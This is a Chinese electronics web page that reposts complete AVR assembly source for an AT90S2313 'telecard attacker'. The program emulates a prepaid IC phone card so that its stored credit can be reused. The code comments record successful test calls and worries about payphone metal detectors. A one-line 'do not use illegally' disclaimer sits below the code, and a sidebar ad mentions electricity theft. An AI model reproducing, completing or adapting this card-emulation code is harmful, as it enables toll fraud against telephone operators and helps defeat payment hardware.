电路设计,软件开发,专业项目团队承接电子产品开发!


ISPRO下载型编程器
火爆销售中

RS232/TTL转换器
全IC串口窃电

RS232/TTL转换线
全IC串口窃电

ByteBlasterMV Cable
CPLD/FPGA并口下载线

ByteBlaster II Cable ISPRO下载型编程器
支持S51/AVR/PIC
超级51开发板套件
前卫实用超值

PC/MCU/CPLD
三合一学习套件

全新万年历方案
AVR单片机开发板
 

Min51单片机仿真机
迷你型

ARM7开发板
仅售260元!
 

RS-232/RS-485双向接口电平转换器  

51单片机升级STM32
火爆销售中
MPLAB-ICD2
火爆销售中
LED51开发板
玩具又名图文显示棒

面板模块/开发板
经济危机明智决择

       

GSM MODEM GSM猫

SMS短信模块 工业级/全自动
火爆销售中

大功率数传电台

高速数传电台

您当前位置:电子技术资料 -> 外围驱动 -> IC卡 ->

祝您阅读愉快!

ISPRO下载型编程器

RS232 TO TTL转换器
↑↑本文相关产品介绍↑↑

AT90S2313仿真卡程序


类别:技术文章
来源:未知
作者:未知
关键字:AT90S2313
加入日期:2010-8-3

AT90S2313仿真卡程序
;2313编程时要选择FSTRT,快速启动
;**** T E L E C A R D S Y S T E M A T T A C K E R ************************
;*
;* Title : TELECARD SIMULATION ROUTE
;* Version : 2.1 (new mode)
;* Last updated : 99.08.18 /99.10.6
;* Card Type : GPM103(Gemplus).SLE4406(Siemens).PCF7960
(Philips)
;*
;* Target : AT90S2313
;* DESCRIPTION
;* This program shows how to implement an AT90S2313
;* as an IC telephony card.
;*
;* Port Usage : PD2(INT0) ---> CLK
;* PD3(INT1) ---> RST
;* PD4(T0) ---> SD
;* XTAL : 10MHz
;*
;***************************************************************************
;中国电子网www.ec66.com
;Ver 99.10.6
; 1. RST及CLK检测改为中断输入
; 2. 修改擦除过程中读出校验错误的问题(擦除进程ICDATA应右移一位)
(99.10.7)
; 3. RST上升沿使SD变为常高,直至RST下降沿(复位)或CLK下降沿(写/擦除)
; 4. 修正擦除后未清除ERSRDY标志的问题,避免擦除后输出不正确
;Ver 99.10.13
; 1. 仍未解决计费时出错问题,估计写脉冲后输出不对,有待改进
;Ver 99.10.14
; 1.测试:A)加电后,SD端输出为0直至复位后RST下降沿输出
; B)操作期间,RST正脉冲时SD输出为0,写操作时,RST下降沿输出
; 原位地址数据直至写CLK脉冲下降沿.
; C)位地址超过103时,SD输出为1,直至位地址超过127时才翻转为0,

; 即输出为16字节,后3字节为0xFF
; 2.改正程序以与测试结果相符
; 3.费用数据放入EEPROM
;Ver 99.11.10
; 4.擦除及写入后等待相应时间(4ms),此段时间不响应
;Ver 00.3.12
; 1.仔细分析了IC卡,可能用紫外光照射会擦除掉IC卡中EEPROM段信息,即利用

; 除掉浮栅上的负电荷,仍需实验,“路漫漫其修远兮,吾将上下而求索!”
; 2.2000/3/25 实验,结论: 悲哀----不行 :( 阿门,救救我吧!!!!
;Ver 00.3.28
; 1.将写后延时缩短为2ms,嘻嘻嘻嘻嘻嘻。。哈哈。。。咳咳。。呃。 成
功!!!
;Ver 00.3.31
; 1.实验,可打通,但第二次计费时错误断线(打一分钟),估计计费操作之间
IC卡
; 已断电,造成数据不符,须加电池试之,也不排除写操作问题
;Ver 01.2.12
; 1.据说电话机内有金属探测器,须测试之 .......
;
;**** Includes ****

.include "2313def.inc"

;**** Interface pin define ****

.equ CLK = PD2
.equ RST = PD3
.equ SD = PD4
.equ datbuf = 3 ;data buffer pointe to r3
.equ datlgth = 16 ;data buffer length
;**** Global Register Variables ****

.def temp1 = r20 ; Temporary variable
.def temp2 = r21 ; Extra temporary variable
.def mask = r22 ; IC card flag register
.def badr = r23 ; IC card bit address
.def icdata = r24 ; IC card data register
.def status = r25 ; Status register

;mask register flag bit define:

.equ rstcomp = 0 ;Reset card complete
.equ wrtrdy = 1 ;Write ready
.equ wrtcomp = 2 ;Write complete
.equ ersrdy = 3 ;Erasure ready
.equ sdsave = 4 ;Save sd line state

;*******************************************************************************
*******
;IC卡帐号及金额数据区:
.eseg
.ORG 0x00
dat_tab:
.db
0x98,0x35,0x22,0x99,0x02,0x55,0x61,0xa0,0x00,0x00,0x7f,0x3f,0x0f,0xff
,0xff,0xff
; [ CHD ] [ ID ] [ COUNTER ]
; 7*64+6*8+4=497=$50
;*******************************************************************************
*******

;**** Interrupt Vectors **** code segment
.cseg
.org 00
rjmp RESET ; Reset handle
rjmp CLK_INT ; INT0 handle
rjmp RST_INT ; INT1 handle
; rjmp ICP_INT ; Input Capture1 Interrupt
; rjmp OC1_INT ; Output Compare1 Interrupt
; rjmp OVF1_INT ; Overflow1 Interrupt
; rjmp OVF0_INT ; Overflow0 Interrupt
; rjmp RX_END ; UART Receive Complete
; rjmp UDR_EMP ; UART Data Register Empty
; rjmp TX_END ; UART Transmit Complete
; rjmp AC_INT ; Analog Comparator

;***************************************************************************
;*
;* FUNCTION
;* CLK_INT
;*
;* DESCRIPTION
;* Detect ICcard reader's CLK line
;*
;***************************************************************************
CLK_INT:
sbis PIND,CLK
rjmp CLK_fall
CLK_rise: ;CLK rising edge
sbic PIND,RST
rjmp IC_reset
sbrc mask,wrtrdy
rjmp IC_WRT
sbrc mask,ersrdy
rjmp IC_ERS
cbr mask,(1<<wrtcomp)
inc badr
cpi badr,8
brne CLK_riseret ; bit address =< 7,not
ready new data
clr badr
inc ZL
cpi ZL,datbuf+datlgth
brne rdydata
ldi ZL,datbuf
rdydata:
ld icdata,Z
rjmp CLK_riseret

IC_WRT:
lsr icdata ;right rotate
andi icdata,0b01111111 ;write 0 to current bit address
cbr mask,1<<wrtrdy
sbr mask,1<<wrtcomp
mov temp1,badr
inc temp1
ser temp2 ;temp2 <-- 0xff
clc ;clr C flag
shift:
ror temp2
dec temp1
brne shift
ld temp1,Z
and temp1,temp2
st Z,temp1
rjmp WrtDelay

IC_ERS:
lsr icdata
andi icdata,0b01111111 ;write 0 to current bit address
mov temp1,ZL ;ZL --> temp1
ser temp2 ;temp2 <-- 0xff
inc ZL
ers_nxt:
st Z+,temp2 ;(Z) <-- 0xff, Z <-- Z+1
cpi ZL,datbuf+datlgth
brne ers_nxt
mov ZL,temp1 ;ZL <-- temp1
cbr mask,1<<ersrdy ;clear erasure ready flag

WrtDelay: ;Write 1/0,delay 1ms
ldi temp1,100
WrtDelay1:
ldi temp2,33 ;1
WrtDelay2:
dec temp2 ;1
brne WrtDelay2 ;2 33(1+2)
dec temp1 ;1
brne WrtDelay1 ;2 [33(1+2)+1+2]
*100=10200*100ns=1.02ms

rjmp CLK_riseret

IC_reset: ;reset iccard
clr badr
clr ZH
ldi ZL,datbuf
ld icdata,Z
sbr mask,(1<<rstcomp)
cbr mask,(1<<wrtrdy)+(1<<wrtcomp)+(1<<ersrdy)+(1<<sdsave)
CLK_riseret:
in temp1,MCUCR
cbr temp1,1<<ISC00
out MCUCR,temp1 ;set INT1 to interrupt on
falling edge
reti

CLK_fall: ;CLK falling edge
sbrc mask,rstcomp
rjmp CLK_fallret
SD_out:
lsl icdata ;output data bit
brcs SD_high
cbi PORTD,SD
rjmp CLK_fallret
SD_high:
sbi PORTD,SD
CLK_fallret:
in temp1,MCUCR
sbr temp1,1<<ISC00
out MCUCR,temp1 ;set INT1 to interrupt on
rising edge
reti


;***************************************************************************
;*
;* FUNCTION
;* RST_INT
;*
;* DESCRIPTION
;* Detect ICcard reader's RST line
;*
;***************************************************************************
RST_INT:
sbic PIND,RST
rjmp RST_rise
RST_fall: ;RST falling edge interrupt
sbrs mask,rstcomp
rjmp Cmp_rst
cbr mask,(1<<rstcomp)
lsl icdata ;rstcomp=1,output 1st bit
after reset
brcs setSD
cbi PORTD,SD
rjmp RST_fallret
setSD:
sbi PORTD,SD
RST_fallret:
in temp1,MCUCR
sbr temp1,(1<<ISC10)
out MCUCR,temp1
reti

Cmp_rst:
sbrc mask,wrtcomp
rjmp Cmp_rst1
sbr mask,(1<<wrtrdy) ;set write ready flag
cbi PORTD,SD ;output old bit
sbrc mask,sdsave
sbi PORTD,SD
rjmp RST_fallret
Cmp_rst1:
sbr mask,(1<<ersrdy) ;set erase ready flag
cbr mask,(1<<wrtcomp) ;clear write complete flag
cbi PORTD,SD ;output old bit
sbrc mask,sdsave
sbi PORTD,SD
rjmp RST_fallret

RST_rise: ;RST rising edge interrupt
cbr mask,1<<sdsave
sbic PIND,SD
sbr mask,1<<sdsave
cbi PORTD,SD ;Active SD to low until CLK falling
edge
in temp1,MCUCR
cbr temp1,(1<<ISC10)
out MCUCR,temp1
reti



;***************************************************************************
;*
;* FUNCTION
;* ic_init/rd_tab
;*
;* DESCRIPTION
;* Initialization of port used by the IC interface
;* and get out data stored by EEPROM .
;*
;***************************************************************************

RESET:
ic_init:

cli ;disable all
interrupt
ldi temp1,low(RAMEND) ;initialize stack
out SPL,temp1

ldi temp1,(0<<CLK)+(0<<RST)+(1<<SD) ;initialize I/O direction
out DDRD,temp1

ldi temp1,(0<<CLK)+(0<<RST)+(0<<SD) ;initialize I/O register
out PORTD,temp1

;*** read eeprom data table ***
rd_eeprom:
clr ZH
ldi ZL,datbuf ; Load low part of byte address into
ZL
clr temp1
loadbyte:
out EEAR,temp1
sbi EECR,EERE ;set EEPROM Read strobe
in temp2,EEDR ;get data
st Z+,temp2 ;store to SRAM (Z),Z <-- Z+1
inc temp1
cpi ZL,datbuf+datlgth ;reached the end? (16bytes)
brne loadbyte ;if not, loop more

;**** Interrupt Initialization ****
ldi temp1,(1<<ISC01)+(1<<ISC00)+(1<<ISC11)+(1<<ISC10) ;Set
INT0/INT1(rising edge)
out MCUCR,temp1
;

ldi temp1,(1<<INTF1)+(1<<INTF0) ;clear all interrupt flag

out GIFR,temp1

ldi temp1,(1<<INT0)+(1<<INT1) ; Enable INT0 and INT1
out GIMSK,temp1

;*** flag mask and register initialize ***
clr mask
ldi ZL,datbuf
clr badr
sei ;Enable global interrupt
LOOP: rjmp LOOP

帝国老手提醒:请勿用于非法用途。

您可能还会关注的相关技术资料:

中国电子网
www.EC66.com
QQ:34740080 EMAIL:iloveaoe@163.com
最佳浏览:1024*768
Copyright (C) 2001-2010 EC66.COM All Rights Reserved
Aoe/帝国 制作维护
粤ICP备18061901号